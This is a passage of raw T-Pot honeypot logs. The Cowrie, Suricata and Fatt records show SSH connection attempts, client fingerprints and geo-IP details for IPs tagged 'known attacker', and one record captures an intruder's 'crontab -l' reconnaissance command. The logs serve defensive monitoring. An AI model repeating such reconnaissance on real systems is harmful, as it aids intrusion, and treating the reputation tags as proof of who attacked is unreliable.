"2021-09-20T11:50:28.222Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32174	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:23.883625+03	2021-09-20 15:00:03.136717+03	{"_id": "GwYKA3wBvYTbRNuE_EkM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.session.params", "message": [], "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:23.883625Z", "@timestamp": "2021-09-20T11:50:23.883Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32175	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:23.605715+03	2021-09-20 15:00:03.138716+03	{"_id": "GgYKA3wBvYTbRNuE_EkM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "107.173.209.238", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "78144d271630", "@version": "1", "duration": 0.7384324073791504, "duplicate": true, "timestamp": "2021-09-20T11:50:23.605715Z", "@timestamp": "2021-09-20T11:50:23.605Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32176	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:24.7582+03	2021-09-20 15:00:03.139716+03	{"_id": "HQYKA3wBvYTbRNuE_0n2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.session.params", "message": [], "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:24.758200Z", "@timestamp": "2021-09-20T11:50:24.758Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32177	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:24.480717+03	2021-09-20 15:00:03.140717+03	{"_id": "IAYKA3wBvYTbRNuE_0n2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "107.173.209.238", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "78144d271630", "@version": "1", "duration": 0.5972933769226074, "duplicate": true, "timestamp": "2021-09-20T11:50:24.480717Z", "@timestamp": "2021-09-20T11:50:24.480Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32178	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:50:24.867714+03	2021-09-20 15:00:03.142716+03	{"_id": "IQYLA3wBvYTbRNuEAUl6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 37227, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 3250, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1695914905319432, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 45395, "timestamp": "2021-09-20T11:50:24.867714Z", "@timestamp": "2021-09-20T11:50:24.867Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
32179	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:25.398499+03	2021-09-20 15:00:03.143717+03	{"_id": "KgYLA3wBvYTbRNuEA0nf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "107.173.209.238", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "78144d271630", "@version": "1", "duration": 0.6403887271881104, "duplicate": true, "timestamp": "2021-09-20T11:50:25.398499Z", "@timestamp": "2021-09-20T11:50:25.398Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32180	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:50:26.248314+03	2021-09-20 15:00:03.145717+03	{"_id": "OAYLA3wBvYTbRNuEB0nH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 113.105.80.34:51662 (192.168.176.2:22) [session: 513e309a9be5]", "session": "513e309a9be5", "@version": "1", "protocol": "ssh", "src_port": 51662, "dest_port": 22, "timestamp": "2021-09-20T11:50:26.248314Z", "@timestamp": "2021-09-20T11:50:26.248Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32181	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:50:26.530054+03	2021-09-20 15:00:03.147716+03	{"_id": "OgYLA3wBvYTbRNuEB0nH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "513e309a9be5", "@version": "1", "timestamp": "2021-09-20T11:50:26.530054Z", "@timestamp": "2021-09-20T11:50:26.530Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32182	113.105.80.34	109.199.241.180	Suricata	2021-09-20 14:50:26.529242+03	2021-09-20 15:00:03.148716+03	{"_id": "OwYLA3wBvYTbRNuECUlL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.105.80.34", "dest_ip": "192.168.20.116", "flow_id": 1554045693185314, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51662, "dest_port": 22, "timestamp": "2021-09-20T11:50:26.529242Z", "@timestamp": "2021-09-20T11:50:26.529Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32183	113.105.80.34	109.199.241.180	Fatt	2021-09-20 14:50:26.529473+03	2021-09-20 15:00:03.149716+03	{"_id": "PAYLA3wBvYTbRNuECklR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "113.105.80.34", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 51662, "dest_port": 22, "timestamp": "2021-09-20T11:50:26.529473", "@timestamp": "2021-09-20T11:50:26.529Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32184	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:50:27.858495+03	2021-09-20 15:00:03.150716+03	{"_id": "PwYLA3wBvYTbRNuEC0mw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 87.112.251.105:44147 (192.168.176.2:22) [session: 259d267b9af0]", "session": "259d267b9af0", "@version": "1", "protocol": "ssh", "src_port": 44147, "dest_port": 22, "timestamp": "2021-09-20T11:50:27.858495Z", "@timestamp": "2021-09-20T11:50:27.858Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32185	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:50:28.222053+03	2021-09-20 15:00:03.151717+03	{"_id": "RgYLA3wBvYTbRNuEDUkz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 1535152132110448, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 20733, "dest_port": 22, "timestamp": "2021-09-20T11:50:28.222053Z", "@timestamp": "2021-09-20T11:50:28.222Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32186	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:50:27.935647+03	2021-09-20 15:00:03.153717+03	{"_id": "SAYLA3wBvYTbRNuEDkk5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "87.112.251.105", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44147, "timestamp": "2021-09-20T11:50:27.935647", "@timestamp": "2021-09-20T11:50:27.935Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32187	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:50:33.847757+03	2021-09-20 15:00:03.154717+03	{"_id": "bAYLA3wBvYTbRNuEI0kk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 176.122.188.154:60614 (192.168.176.2:22) [session: 7b4aa9c6302f]", "session": "7b4aa9c6302f", "@version": "1", "protocol": "ssh", "src_port": 60614, "dest_port": 22, "timestamp": "2021-09-20T11:50:33.847757Z", "@timestamp": "2021-09-20T11:50:33.847Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32188	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:33.404655+03	2021-09-20 15:00:03.156717+03	{"_id": "bQYLA3wBvYTbRNuEI0kk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.session.params", "message": [], "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:33.404655Z", "@timestamp": "2021-09-20T11:50:33.404Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32189	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:33.405196+03	2021-09-20 15:00:03.157717+03	{"_id": "bgYLA3wBvYTbRNuEI0kk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:33.405196Z", "@timestamp": "2021-09-20T11:50:33.405Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32190	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:50:33.427473+03	2021-09-20 15:00:03.158716+03	{"_id": "bwYLA3wBvYTbRNuEI0kk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "159622aa9446", "@version": "1", "duration": 5.465445518493652, "timestamp": "2021-09-20T11:50:33.427473Z", "@timestamp": "2021-09-20T11:50:33.427Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32191	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:50:33.877152+03	2021-09-20 15:00:03.159716+03	{"_id": "cAYLA3wBvYTbRNuEI0kk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "7b4aa9c6302f", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:50:33.877152Z", "@timestamp": "2021-09-20T11:50:33.877Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32192	176.122.188.154	109.199.241.180	Suricata	2021-09-20 14:50:34.018475+03	2021-09-20 15:00:03.161716+03	{"_id": "cQYLA3wBvYTbRNuEJEmm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.122.188.154", "dest_ip": "192.168.20.116", "flow_id": 1927499542517884, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 60614, "dest_port": 22, 